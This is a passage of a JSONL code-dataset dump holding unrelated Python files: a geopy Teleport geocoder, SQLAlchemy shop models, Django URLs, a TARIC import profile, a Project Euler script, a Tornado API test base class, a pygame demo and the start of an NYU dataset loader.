timedelta(days=365):\n            return f'{(age.days // 30) + 1} months'\n        return f'{(age.days // 365)} years'\n\n    def format_date(self, date):\n        if date is None:\n            return 'unknown'\n        else:\n            return date.strftime(\"%d-%m-%Y\")\n","sub_path":"app/admin_api/single_patient_data_export.py","file_name":"single_patient_data_export.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"331463720","text":"\"\"\"\n:class:`Teleport` geocoder.\n\"\"\"\n\nfrom geopy.compat import urlencode\nfrom geopy.exc import GeocoderServiceError\nfrom geopy.geocoders.base import (\n    Geocoder,\n    DEFAULT_TIMEOUT,\n    DEFAULT_FORMAT_STRING,\n)\nfrom geopy.location import Location\nfrom geopy.util import logger\ntry:\n    from urllib.parse import quote  # @UnresolvedImport @UnusedImport\nexcept:\n    from urllib import quote  # @Reimport\n\n\n__all__ = (\"Teleport\", )\n\n\nDEFAULT_FORWARD_EMBEDDINGS = (\n    \"city:search-results/city:item/{city:country,city:admin1_division}\"\n)\nDEFAULT_REVERSE_EMBEDDINGS = (\n    \"location:nearest-cities/location:nearest-city\" +\n    \"/{city:country,city:admin1_division}\"\n)\n\n\ntry:\n    basestring\nexcept:\n    basestring = str  # @ReservedAssignment\n\n\nclass Teleport(Geocoder):\n    \"\"\"\n    Teleport geocoder and reverse geocoder\n\n    See API documentation at (https://developers.teleport.org/api/) for\n    details.\n\n    Example::\n\n        from geopy.geocoders import Teleport\n        from geopy.geocoders.teleport import DEFAULT_FORWARD_EMBEDDINGS\n\n        teleport = Teleport(forward_embeddings=DEFAULT_FORWARD_EMBEDDINGS +\n                            \",city:search-results/city:item/\" +\n                            \"city:urban_area/ua:scores\")\n        locations = teleport.geocode(\"sfo\", exactly_one=False)\n        for location in locations:\n            print (location.address,\n                   location.point,\n                   Teleport.get_embedded(location.raw,\n                                         \"city:item/city:urban_area/ua:scores\",\n                                         {})\n                   .get('teleport_city_score'))\n\n        location = teleport.reverse(\"37.774531,-122.418297\")\n        print (location.address,\n               location.point,\n               location.raw.get('distance_km'))\n\n    \"\"\"\n\n    def __init__(self, format_string=DEFAULT_FORMAT_STRING, scheme='https',  # pylint: disable=R0913\n                 timeout=DEFAULT_TIMEOUT, proxies=None, user_agent=None,\n                 forward_embeddings=DEFAULT_FORWARD_EMBEDDINGS,\n                 reverse_embeddings=DEFAULT_REVERSE_EMBEDDINGS):\n        \"\"\"\n        :param string format_string: The format string where the input string\n            to geocode is interpolated. For example, if you only need to\n            geocode locations in Cleveland, Ohio, you could do\n            format_string=\"%s, Cleveland OH\"\n\n        :param string scheme: The scheme/protocol to use to communicate with\n            the API. Can be either 'https' (default) or 'http'.\n\n        :param int timeout: Time, in seconds, to wait for the geocoding service\n            to respond before raising a :class:`geopy.exc.GeocoderTimedOut`\n            exception.\n\n        :param dict proxies: If specified, routes this geocoder's requests\n            through the specified proxy. E.g., {\"https\": \"192.0.2.0\"}. For\n            more information, see documentation on\n            :class:`urllib2.ProxyHandler`.\n\n        :param string user_agent: The user agent string to send to the API in\n            the User-Agent HTTP header.\n\n        :param string forward_embeddings: The data to embed into responses for\n            forward geocode requests (see the Teleport API documentation on\n            how to compose the embed paths:\n            https://developers.teleport.org/api/)\n\n        :param string reverse_embeddings: The data to embed into responses for\n            reverse geocode requests (see the Teleport API documentation on\n            how to compose the embed paths:\n            https://developers.teleport.org/api/)\n\n        \"\"\"\n        super(Teleport, self).__init__(\n            format_string=format_string,\n            scheme=scheme,\n            timeout=timeout,\n            proxies=proxies,\n            user_agent=user_agent\n        )\n        self.forward_embeddings = forward_embeddings\n        self.reverse_embeddings = reverse_embeddings\n        self.api = \"%s://api.teleport.org/api/cities/\" % self.scheme\n        self.api_reverse = (\n            \"%s://api.teleport.org/api/locations/%%s/\" % self.scheme\n        )\n\n    def geocode(self, query, exactly_one=True, timeout=None):\n        \"\"\"\n        Geocode a location query.\n\n        :param string query: The city or query you wish to geocode.\n\n        :param bool exactly_one: Return one result or a list of results, if\n            available.\n\n        :param int timeout: Time, in seconds, to wait for the geocoding service\n            to respond before raising a :class:`geopy.exc.GeocoderTimedOut`\n            exception. Set this only if you wish to override, on this call\n            only, the value set during the geocoder's initialization.\n\n            .. versionadded:: 0.97\n        \"\"\"\n        params = {\n            'search': self.format_string % (query,),\n            'embed': self.forward_embeddings,\n        }\n        url = \"?\".join((self.api, urlencode(params)))\n        logger.debug(\"%s.geocode: %s\", self.__class__.__name__, url)\n        return self._parse_json(\n            self._call_geocoder(url, timeout=timeout),\n            exactly_one,\n        )\n\n    def reverse(self, query, exactly_one=True, timeout=None):\n        \"\"\"\n        Given a point, find an address.\n\n            .. versionadded:: 1.2.0\n\n        :param string query: The coordinates for which you wish to obtain the\n            closest human-readable addresses.\n        :type query: :class:`geopy.point.Point`, list or tuple of (latitude,\n            longitude), or string as \"%(latitude)s, %(longitude)s\"\n\n        :param boolean exactly_one: Return one result or a list of results, if\n            available.\n\n        :param int timeout: Time, in seconds, to wait for the geocoding service\n            to respond before raising a :class:`geopy.exc.GeocoderTimedOut`\n            exception.\n        \"\"\"\n        coordinates = quote(self._coerce_point_to_string(query), safe=',')\n        params = {\n            'embed': self.reverse_embeddings,\n        }\n        url = self.api_reverse % (coordinates,)\n        url = \"?\".join((url, urlencode(params)))\n        logger.debug(\"%s.reverse: %s\", self.__class__.__name__, url)\n        return self._parse_json_reverse(\n            self._call_geocoder(url, timeout=timeout),\n            exactly_one,\n        )\n\n    @staticmethod\n    def get_embedded(parent, path, default=None):\n        \"\"\"\n        Get an embedded sub-object of an object using the specified name or\n        path.\n\n        :param dict parent: The parent object to find embedded objects in\n\n        :param string path: The embedded object path, e.g.\n            \"city:item/city:country\"\n\n        :param object default: The default value to return if the embedded\n            object cannot be found\n        \"\"\"\n\n        if isinstance(path, basestring):\n            elements = path.split(\"/\")\n        else:\n            elements = path\n        name = elements[0]\n        rest = elements[1:]\n        embedded = parent.get('_embedded', {})\n        relation = embedded.get(name, None)\n        if relation is not None:\n            if rest:\n                return Teleport.get_embedded(relation, rest, default)\n            else:\n                return relation\n        else:\n            return default\n\n    @staticmethod\n    def _parse_city(city, raw_response, name=None):\n        \"\"\"\n        Parse a city.\n        \"\"\"\n        latlon = city.get('location', {}).get('latlon', {})\n        latitude = latlon.get('latitude', None)\n        longitude = latlon.get('longitude', None)\n\n        if name is None:\n            admin1 = Teleport.get_embedded(city, \"city:admin1_division\", {})\n            country = Teleport.get_embedded(city, \"city:country\", {})\n\n            parts = [city['name']]\n            admin1_name = admin1.get('name')\n            if admin1_name:\n                parts.append(admin1_name)\n            country_name = country.get('name')\n            if country_name:\n                parts.append(country_name)\n\n            name = \", \".join(parts)\n\n        return Location(name, (latitude, longitude), raw_response)\n\n    def _parse_json(self, doc, exactly_one):\n        \"\"\"\n        Parse JSON response body.\n        \"\"\"\n        message = doc.get('message', None)\n        if message is not None:\n            raise GeocoderServiceError(message)\n\n        search_results = Teleport.get_embedded(doc, 'city:search-results', [])\n        if not len(search_results):\n            return None\n\n        def parse_result(search_result):\n            \"\"\"\n            Parse a single result.\n            \"\"\"\n            city = Teleport.get_embedded(search_result, 'city:item', {})\n            name = search_result.get('matching_full_name')\n            return self._parse_city(city, search_result, name=name)\n\n        if exactly_one:\n            return parse_result(search_results[0])\n        else:\n            return [parse_result(search_result)\n                    for search_result in search_results]\n\n    def _parse_json_reverse(self, doc, exactly_one):\n        \"\"\"\n        Parse JSON response body.\n        \"\"\"\n        message = doc.get('message', None)\n        if message is not None:\n            raise GeocoderServiceError(message)\n\n        search_results = Teleport.get_embedded(doc,\n                                               'location:nearest-cities', [])\n        if not len(search_results):\n            return None\n\n        def parse_result(search_result):\n            \"\"\"\n            Parse a single result.\n            \"\"\"\n            city = Teleport.get_embedded(search_result,\n                                         'location:nearest-city', {})\n            return self._parse_city(city, search_result)\n\n        if exactly_one:\n            return parse_result(search_results[0])\n        else:\n            return [parse_result(search_result)\n                    for search_result in search_results]\n","sub_path":"geopy/geocoders/teleport.py","file_name":"teleport.py","file_ext":"py","file_size_in_byte":9809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"460521070","text":"from sqlalchemy import Column, Integer, String, create_engine, Date, ForeignKey\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.engine.url import URL\nfrom config import DATABASE\n\nBase = declarative_base()\n\n\nclass Client(Base):\n    __tablename__ = 'clients'\n\n    id = Column(Integer, primary_key=True)\n    name = Column('name', String)\n    balance = Column('balance', Integer, default=0)\n\n    def __init__(self, name):\n        self.name = name\n\n    def __repr__(self):\n        return r\"\"\"Client: {\n    id: %s,\n    name: %s,\n    balance: %s\n}\"\"\" % (self.id, self.name, self.balance)\n\n\nclass Order(Base):\n    __tablename__ = 'orders'\n\n    id = Column(Integer, primary_key=True)\n    date_order = Column('date_order', Date)\n\n    def __init__(self):\n        self.date_order = None\n\n    def __repr__(self):\n        return \"\"\"Order{\n    id: %s,\n    date_order: %s\n}\"\"\" % (self.id, self.date_order)\n\n\nclass Processor(Base):\n    __tablename__ = 'processors'\n\n    id = Column(Integer, primary_key=True)\n    name = Column('name', String)\n    price = Column(Integer)\n    clock = Column(Integer)\n    cores = Column(Integer)\n    threads = Column(Integer)\n    l1_cache = Column(Integer)\n    l2_cache = Column(Integer)\n    l3_cache = Column(Integer)\n    process_t = Column(Integer)\n    balance = Column(Integer, default=0)\n\n    def __init__(self, **kwargs):\n        self.name = kwargs['name']\n        self.price = kwargs['price']\n        if 'clock' in kwargs:\n            self.clock = kwargs['clock']\n        if 'cores' in kwargs:\n            self.cores = kwargs['cores']\n        if 'threads' in kwargs:\n            self.threads = kwargs['threads']\n        if 'l1_cache' in kwargs:\n            self.l1_cache = kwargs['l1_cache']\n        if 'l2_cache' in kwargs:\n            self.l2_cache = kwargs['l2_cache']\n        if 'l3_cache' in kwargs:\n            self.l3_cache = kwargs['l3_cache']\n        if 'process_t' in kwargs:\n            self.process_t = kwargs['process_t']\n\n    def update_characteristics(self, **kwargs):\n        if 'name' in kwargs:\n            self.name = kwargs['name']\n        if 'price' in kwargs:\n            self.price = kwargs['price']\n        if 'clock' in kwargs:\n            self.clock = kwargs['clock']\n        if 'cores' in kwargs:\n            self.cores = kwargs['cores']\n        if 'threads' in kwargs:\n            self.threads = kwargs['threads']\n        if 'l1_cache' in kwargs:\n            self.l1_cache = kwargs['l1_cache']\n        if 'l2_cache' in kwargs:\n            self.l2_cache = kwargs['l2_cache']\n        if 'l3_cache' in kwargs:\n            self.l3_cache = kwargs['l3_cache']\n        if 'process_t' in kwargs:\n            self.process_t = kwargs['process_t']\n\n    def __repr__(self):\n        return \"\"\"Processor{\n    id: %s,\n    name: '%s',\n    price: %s,\n    clock: %s,\n    cores: %s,\n    threads: %s,\n    l1_cache: %s,\n    l2_cache: %s,\n    l3_cache: %s,\n    process_t: %s,\n    balance: %s\n}\"\"\" % (self.id, self.name, self.price, self.clock, self.cores, self.threads,\n        self.l1_cache, self.l2_cache, self.l3_cache, self.process_t, self.balance)\n\n\nclass Basket(Base):\n    __tablename__ = 'basket'\n\n    id = Column(Integer, primary_key=True)\n    id_processor = Column(Integer, ForeignKey('processors.id'))\n    quantity = Column(Integer)\n    id_client = Column(Integer, ForeignKey('clients.id'))\n    id_order = Column(Integer, ForeignKey('orders.id'))\n\n    def __init__(self, id_processor, quantity, id_client, id_order):\n        self.id_processor = id_processor\n        self.quantity = quantity\n        self.id_client = id_client\n        self.id_order = id_order\n\n    def __repr__(self):\n        return \"\"\"Basket{\n    id: %s,\n    id_processor = %s,\n    quantity = %s,\n    id_client = %s,\n    id_order = %s\n}\"\"\" % (self.id, self.id_processor, self.quantity, self.id_client, self.id_order)\n\n\ndef main():\n    engine = create_engine(URL(**DATABASE), echo=False)\n    Base.metadata.create_all(engine)\n    Session = sessionmaker(bind=engine)\n    session = Session()\n\n\nif __name__ == '__main__':\n    main()\n\n","sub_path":"dima/pr/lab1/DAO_Models.py","file_name":"DAO_Models.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"99428706","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n    # Examples:\n    # url(r'^$', 'spb_history.views.home', name='home'),\n    # url(r'^spb_history/', include('spb_history.foo.urls')),\n\n    # Uncomment the admin/doc line below to enable admin documentation:\n    # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n    # Uncomment the next line to enable the admin:\n    url(r'^admin/', include(admin.site.urls)),\n    url(r'^$', 'viewhistory.views.index'),\n    url(r'^recent_builds', 'viewhistory.views.recent_builds'),\n    url(r'^jobs/(?P<package_id>\\d+)/$', 'viewhistory.views.jobs'),\n    url(r'^job/(?P<job_id>\\d+)/$', 'viewhistory.views.job'),\n    url(r'^jid/(?P<jid>.+)/$', 'viewhistory.views.jid'),\n    url(r'^overall_build_status/(?P<job_id>\\d+)/$',\n        'viewhistory.views.overall_build_status')\n)\n\nurlpatterns += staticfiles_urlpatterns()\n","sub_path":"urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"131434443","text":"import common.globals as g\n\n\nclass profile_16000_regulation_role_type(object):\n    def import_node(self, app, update_type, omsg, transaction_id, message_id, record_code, sub_record_code):\n        g.app.message_count += 1\n        operation_date = app.get_timestamp()\n        regulation_role_type_id = app.get_value(omsg, \".//oub:regulation.role.type.id\", True)\n        validity_start_date = app.get_date_value(omsg, \".//oub:validity.start.date\", True)\n        validity_end_date = app.get_date_value(omsg, \".//oub:validity.end.date\", True)\n\n        # Set operation types and print load message to screen\n        operation = g.app.get_loading_message(update_type, \"regulation role type\", regulation_role_type_id)\n\n        # Perform business rule validation\n        if g.app.perform_taric_validation is True:\n            if update_type in (\"1\", \"3\"):  # UPDATE or INSERT\n                # Business rule RT5\n                if validity_end_date is not None:\n                    if validity_end_date < validity_start_date:\n                        g.app.record_business_rule_violation(\"RT5\", \"The start date must be less than or equal to the end date.\", operation, transaction_id, message_id, record_code, sub_record_code, regulation_role_type_id)\n\n            elif update_type == \"2\":  # DELETE\n                used_regulation_roles = g.app.get_used_regulation_roles()\n                # Business rule DBFK\n                if regulation_role_type_id in used_regulation_roles:\n                    g.app.record_business_rule_violation(\"RT2\", \"The regulation role cannot be deleted if it is used for a regulation.\", operation, transaction_id, message_id, record_code, sub_record_code, regulation_role_type_id)\n\n        # Load data\n        cur = app.conn.cursor()\n        try:\n            cur.execute(\"\"\"INSERT INTO regulation_role_types_oplog (regulation_role_type_id, validity_start_date,\n            validity_end_date, operation, operation_date)\n            VALUES (%s, %s, %s, %s, %s)\"\"\",\n            (regulation_role_type_id, validity_start_date, validity_end_date, operation, operation_date))\n            app.conn.commit()\n        except:\n            g.app.record_business_rule_violation(\"DB\", \"DB failure\", operation, transaction_id, message_id, record_code, sub_record_code, regulation_role_type_id)\n        cur.close()\n","sub_path":"create-data/convert_and_import_taric/profile/profile_16000_regulation_role_type.py","file_name":"profile_16000_regulation_role_type.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"330819296","text":"#The sum of the squares of the first ten natural numbers is,\n#12 + 22 + ... + 102 = 385\n#The square of the sum of the first ten natural numbers is,\n#(1 + 2 + ... + 10)2 = 552 = 3025\n#Hence the difference between the sum of the squares of the \n#first ten natural numbers and the square of the sum is 3025 − 385 = 2640.\n\n#Find the difference between the sum of the squares of the \n#first one hundred natural numbers and the square of the sum.\n\nN = 10000000\n\n#quick way - use formulae\nsum = N*(N+1)/2\nsumsq = (N*(2*N+1)*(N+1)/6)\n\nprint(sum**2, sumsq)\n\ndiff1 = sum**2 - sumsq\nprint(diff1)\n\n#brute force approach\nsumsq = 0\nsum = 0\n\nfor i in range(1, N+1):\n    sumsq += i**2\n    sum += i\n\n\n\nprint(sum**2, sumsq)\ndiff2 = sum**2 - sumsq\nprint(diff2)\n\nprint('diff1 - diff2:', diff1-diff2)","sub_path":"project-euler/problem6.py","file_name":"problem6.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"96330063","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n@time: 2018/12/22\n\"\"\"\nimport re\nimport uuid\nimport mimetypes\nfrom datetime import datetime\nfrom tests.users import admin\nfrom bson import json_util\nfrom bson.objectid import ObjectId\nfrom tornado.util import PY3\nfrom functools import partial\nfrom tornado.options import options\nfrom tornado.escape import json_encode\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.testing import AsyncHTTPTestCase\nfrom tornado.escape import to_basestring, native_str\nimport controller as c\nfrom controller import auth\nfrom controller import helper as h\nfrom controller.app import Application\nfrom controller.page.base import PageHandler as Ph\n\nif PY3:\n    import http.cookies as Cookie\nelse:\n    import Cookie\n\ncookie = Cookie.SimpleCookie()\n\n\n# https://github.com/ooclab/ga.service/blob/master/src/codebase/utils/fetch_with_form.py\ndef body_producer(boundary, files, params, write):\n    boundary_bytes = boundary.encode()\n    crlf = b'\\r\\n'\n\n    for arg_name in files:\n        filename = files[arg_name]\n        filename_bytes = filename.encode()\n        write(b'--%s%s' % (boundary_bytes, crlf))\n        write(b'Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"%s' %\n              (arg_name.encode(), filename_bytes, crlf))\n\n        m_type = mimetypes.guess_type(filename)[0] or 'application/octet-stream'\n        write(b'Content-Type: %s%s' % (m_type.encode(), crlf))\n        write(crlf)\n        with open(filename, 'rb') as f:\n            while True:\n                # 16k at a time.\n                chunk = f.read(16 * 1024)\n                if not chunk:\n                    break\n                write(chunk)\n\n        write(crlf)\n\n    for arg_name in params:\n        value = str(params[arg_name])\n        write(b'--%s%s' % (boundary_bytes, crlf))\n        write(b'Content-Disposition: form-data; name=\"%s\"{}{}%s{}'.replace(b'{}', crlf) %\n              (arg_name.encode(), value.encode()))\n\n    write(b'--%s--%s' % (boundary_bytes, crlf))\n\n\nclass APITestCase(AsyncHTTPTestCase):\n\n    def get_app(self, testing=True, debug=False):\n        options.debug = debug\n        options.testing = testing\n        options.port = self.get_http_port()\n        return Application(c.handlers + c.views, db_name_ext='_test', ui_modules=c.modules,\n                           default_handler_class=c.InvalidPageHandler)\n\n    def tearDown(self):\n        super(APITestCase, self).tearDown()\n        self._app.stop()\n\n    @staticmethod\n    def parse_response(response):\n        body = response.body and to_basestring(response.body) or '{}'\n        if body and body.startswith('{'):\n            body = json_util.loads(body)\n            if 'data' in body and isinstance(body['data'], dict):  # 将data的内容赋给body，以便测试使用\n                body.update(body['data'])\n            elif 'error' in body and isinstance(body['error'], dict):\n                body.update(body['error'])\n        if response.code != 200 and 'code' not in body:\n            body = dict(code=response.code, message=response.reason)\n        return body\n\n    def get_code(self, response):\n        response = self.parse_response(response)\n        return isinstance(response, dict) and response.get('code')\n\n    def assert_code(self, code, response, msg=None):\n        \"\"\"\n        判断response中是否存在code\n        :param code: 有三种类型：code; (code, message); [(code, message), (code, message)...]\n        :param response: 请求的响应体\n        \"\"\"\n        code = code[0] if isinstance(code, tuple) else code\n        r_code = self.get_code(response) if self.get_code(response) else response.code\n        if isinstance(code, list):\n            self.assertIn(r_code, [c[0] if isinstance(c, tuple) else c for c in code], msg=msg)\n        else:\n            self.assertEqual(code, r_code, msg=msg)\n\n    def fetch(self, url, **kwargs):\n        files = kwargs.pop('files', None)  # files包含字段名和文件名，例如 files={'img': img_path}\n        if isinstance(kwargs.get('body'), dict):\n            if not files:\n                kwargs['body'] = json_util.dumps(kwargs['body'])\n            elif 'data' in kwargs['body']:  # 可以同时指定files和body={'data': {...}}，在API内取 self.get_request_data()\n                kwargs['body']['data'] = json_util.dumps(kwargs['body']['data'])\n        if 'body' in kwargs or files:\n            kwargs['method'] = kwargs.get('method', 'POST')\n\n        headers = kwargs.get('headers', {})\n        headers['Cookie'] = ''.join(['%s=%s;' % (x, morsel.value) for (x, morsel) in cookie.items()])\n\n        url = url if re.match('^http', url) else self.get_url(url)\n        if files:\n            boundary = uuid.uuid4().hex\n            headers.update({'Content-Type': 'multipart/form-data; boundary=%s' % boundary})\n            producer = partial(body_producer, boundary, files, kwargs.pop('body', {}))\n            request = HTTPRequest(url, headers=headers, body_producer=producer, **kwargs)\n        else:\n            request = HTTPRequest(url, headers=headers, **kwargs)\n\n        self.http_client.fetch(request, self.stop)\n\n        response = self.wait(timeout=60)\n        headers = response.headers\n        try:\n            sc = headers._dict.get('Set-Cookie') if hasattr(headers, '_dict') else headers.get('Set-Cookie')\n            if sc:\n                text = native_str(sc)\n                text = re.sub(r'Path=/(,)?', '', text)\n                cookie.update(Cookie.SimpleCookie(text))\n                while True:\n                    cookie.update(Cookie.SimpleCookie(text))\n                    if ',' not in text:\n                        break\n                    text = text[text.find(',') + 1:]\n        except KeyError:\n            pass\n\n        return response\n\n    def login(self, email, password):\n        return self.fetch('/api/user/login', body={'data': dict(login_id=email, password=password)})\n\n    def logout(self):\n        return self.fetch('/api/user/logout', body={'data': dict()})\n\n    def login_as_admin(self):\n        return self.login(admin[0], admin[1])\n\n    def register_and_login(self, info):\n        \"\"\" 先用info信息登录，如果成功则返回，如果失败则用info注册。用户注册后，系统会按注册信息自动登录。 \"\"\"\n        r = self.fetch('/api/user/login', body={'data': dict(login_id=info['email'], password=info['password'])})\n        return r if self.get_code(r) == 200 else self.fetch('/api/user/register', body={'data': info})\n\n    def add_users_by_admin(self, users, roles=None):\n        \"\"\" 以管理员身份新增users所代表的用户并授予权限，完成后当前用户为管理员 \"\"\"\n        self.register_and_login(dict(email=admin[0], password=admin[1], name=admin[2]))\n        for u in users:\n            r = self.register_and_login(u)\n            self.assert_code(200, r)\n            data = self.parse_response(r)\n            u['_id'] = data.get('_id')\n        self.assert_code(200, self.login_as_admin())\n        if roles:\n            for u in users:\n                u['roles'] = u.get('roles', roles)\n                r = self.fetch('/api/user/roles', body={'data': dict(_id=u['_id'], roles=u['roles'])})\n                self.assert_code(200, r)\n        return users\n\n    def add_first_user_as_admin_then_login(self):\n        \"\"\"\n        创建第一个用户，作为超级管理员，并且登录。\n        在创建其他用户前先创建管理员，避免测试用例乱序执行引发错误。\n        \"\"\"\n        self._app.db.user.drop()\n        r = self.register_and_login(dict(email=admin[0], password=admin[1], name=admin[2]))\n        self.assert_code(200, r)\n        u = self.parse_response(r)\n        roles = ','.join(auth.get_assignable_roles())\n        if '系统管理员' not in roles:\n            roles += ',系统管理员'\n        r = self.fetch('/api/user/roles', body={'data': dict(_id=u['_id'], roles=roles)})\n        self.assert_code(200, r)\n        return r\n\n    def assert_status(self, pages, response, task2status, msg=None):\n        for task_type, status in task2status.items():\n            data = response.get('data', {})\n            _pages = data.get(status, []) or data.get(task_type, {}).get(status, [])\n            self.assertEqual(set(pages), set(_pages), msg=msg)\n\n    @staticmethod\n    def set_pub_data(data):\n        assert data.get('task_type')\n        task_type = data['task_type']\n        steps = h.prop(Ph.task_types, task_type + '.steps')\n        pre_tasks = h.prop(Ph.task_types, task_type + '.pre_tasks')\n        data['num'] = data.get('num', 1)\n        data['force'] = data.get('force', '0')\n        data['priority'] = data.get('priority', 2)\n        data['batch'] = data.get('batch', '批次')\n        data['steps'] = data.get('steps') or (steps and [s[0] for s in steps])\n        data['pre_tasks'] = data.get('pre_tasks') if 'pre_tasks' in data else pre_tasks\n        return data\n\n    def publish_page_tasks(self, data):\n        return self.fetch('/api/page/task/publish', body={'data': self.set_pub_data(data)})\n\n    def publish_char_tasks(self, task_type):\n        self._app.db.char.update_many({}, {'$set': {'source': '测试数据'}})\n        data = dict(batch='测试任务', source='测试数据', task_type=task_type)\n        return self.fetch('/api/char/task/publish', body={'data': data})\n\n    def finish_task(self, task_id):\n        return self.fetch('/api/task/finish/' + str(task_id), body={'data': {}})\n\n    def reset_tasks_and_data(self):\n        \"\"\" 重置任务以及数据 \"\"\"\n        self._app.db.task.delete_many({})\n        self._app.db.char.update_many({}, {'$unset': {'txt_level': '', 'txt_logs': ''}})\n        self._app.db.page.update_many({}, {'$unset': {'tasks': ''}})\n        for k in ['blocks', 'columns', 'chars']:\n            self._app.db.page.update_many({k + '.box_level': {'$in': [1, 10, 100]}}, {'$unset': {\n                k + '.$.box_level': '', k + '.$.box_logs': ''\n            }})\n","sub_path":"tests/testcase.py","file_name":"testcase.py","file_ext":"py","file_size_in_byte":9927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"398776968","text":"import pygame\n\npygame.init()\n\nred = (255,0,0)\nblue = (0,0,255)\ngray = (128,128,128)\n\nscreen = pygame.display.set_mode((600,500))\n\nrect = pygame.Rect(50,60,200,80)\nmoving = False\n\nrunning = True\n\nwhile running:\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            running = False\n        elif event.type == pygame.MOUSEBUTTONDOWN:\n            if rect.collidepoint(event.pos):\n                moving = True\n        elif event.type == pygame.MOUSEBUTTONUP:\n            moving = False\n        elif event.type == pygame.MOUSEMOTION and moving:\n            rect.move_ip(event.rel)\n    screen.fill(gray)\n    pygame.draw.rect(screen,red,rect)\n    if moving:\n        pygame.draw.rect(screen,blue,rect,4)\n    pygame.display.flip()\npygame.quit()","sub_path":"move_rect/g1.py","file_name":"g1.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"179552452","text":"# %%\nfrom torch.utils.data import Dataset\nimport torchvision.transforms as transforms\nimport os\nimport numpy as np\nfrom PIL import Image\nimport torch\nfrom collections import namedtuple\nimport time\nimport random\n\n\nn_class = 41\n\nDATA_PATH = \"./data/\"\n\n# a label and all meta information\nLabel = namedtuple(\n    \"Label\",\n    [\n        \"name\",\n        \"semantic_id\",\n        \"color\",\n    ],\n)\n\nlabels = [\n    #       name            id       color\n    Label(\"unknown\", 0, (0, 0, 0)),\n    Label(\"wall\", 1, (174, 199, 232)),\n    Label(\"floor\", 2, (152, 223, 138)),\n    Label(\"cabinet\", 3, (31, 119, 180)),\n    Label(\"bed\", 4, (255, 187, 120)),\n    Label(\"chair\", 5, (188, 189, 34)),\n    Label(\"sofa\", 6, (140, 86, 75)),\n    Label(\"table\", 7, (255, 152, 150)),\n    Label(\"door\", 8, (214, 39, 40)),\n    Label(\"window\", 9, (197, 176, 213)),\n    Label(\"bookshelf\", 10, (148, 103, 189)),\n    Label(\"picture\", 11, (196, 156, 148)),\n    Label(\"counter\", 12, (23, 190, 207)),\n    Label(\"blinds\", 13, (178, 76, 76)),\n    Label(\"desk\", 14, (247, 182, 210)),\n    Label(\"shelves\", 15, (66, 188, 102)),\n    Label(\"curtain\", 16, (219, 219, 141)),\n    Label(\"dresser\", 17, (140, 57, 197)),\n    Label(\"pillow\", 18, (202, 185, 52)),\n    Label(\"mirror\", 19, (51, 176, 203)),\n    Label(\"floormat\", 20, (200, 54, 131)),\n    Label(\"clothes\", 21, (92, 193, 61)),\n    Label(\"ceiling\", 22, (78, 71, 183)),\n    Label(\"books\", 23, (172, 114, 82)),\n    Label(\"refrigerator\", 24, (255, 127, 14)),\n    Label(\"television\", 25, (91, 163, 138)),\n    Label(\"paper\", 26, (153, 98, 156)),\n    Label(\"towel\", 27, (140, 153, 101)),\n    Label(\"showercurtain\", 28, (158, 218, 229)),\n    Label(\"box\", 29, (100, 125, 154)),\n    Label(\"whiteboard\", 30, (178, 127, 135)),\n    Label(\"person\", 31, (120, 185, 128)),\n    Label(\"nightstand\", 32, (146, 111, 194)),\n    Label(\"toilet\", 33, (44, 160, 44)),\n    Label(\"sink\", 34, (112, 128, 144)),\n    Label(\"lamp\", 35, (96, 207, 209)),\n    Label(\"bathtub\", 36, (227, 119, 194)),\n    Label(\"bag\", 37, (213, 92, 176)),\n    Label(\"otherstruct\", 38, (94, 106, 211)),\n    Label(\"otherfurniture\", 39, (82, 84, 163)),\n    Label(\"otherprop\", 40, (100, 85, 144)),\n]\n\n\nclass ToNumpy(object):\n    def __call__(self, sample):\n        return np.array(sample)\n\n\n# %%\n# class mapping\n# https://github.com/ankurhanda/SceneNetv1.0/\n# class 0 is unknown\nclass NYUDataset(Dataset):\n    def __init__(\n        self,\n        dataset_type=\"train\",\n        n_class=n_class,\n        in_size=(480, 640),\n        out_size=(480, 640),\n        data_path=DATA_PATH,\n        max_depth=0,\n        use_transform=False,\n    ):\n        assert dataset_type in [\"train\", \"val\", \"test\"]\n        self.dataset_type = dataset_type\n        self.image_names = np.loadtxt(\n            os.path.join(\n                data_path,\n                \"NYUD_MT\",\n                \"gt_sets\",\n                f\"{'train' if dataset_type == 'train' else 'val'}.txt\",\n            ),\n            dtype=str,\n        )\n        self.n_class = n_class\n        self.out_size = out_size\n        self.data_path = data_path\n        self.use_transform = use_transform\n        self.normalize = transforms.Normalize(\n            (0.485, 0.456, 0.406), (0.229, 0.224, 0.225)\n        )\n        if dataset_type == \"val\" or dataset_type == \"test\":\n            self.resize_img = transforms.Compose(\n                [\n                    transforms.Resize(size=out_size, interpolation=Image.BILINEAR),\n                    transforms.ToTensor(),\n                ]\n            )\n            self.resize_label = transforms.ToTensor()\n            self.resize_depth = transforms.ToTensor()\n\n        elif not use_transform:\n            self.resize_img = transforms.Compose(\n                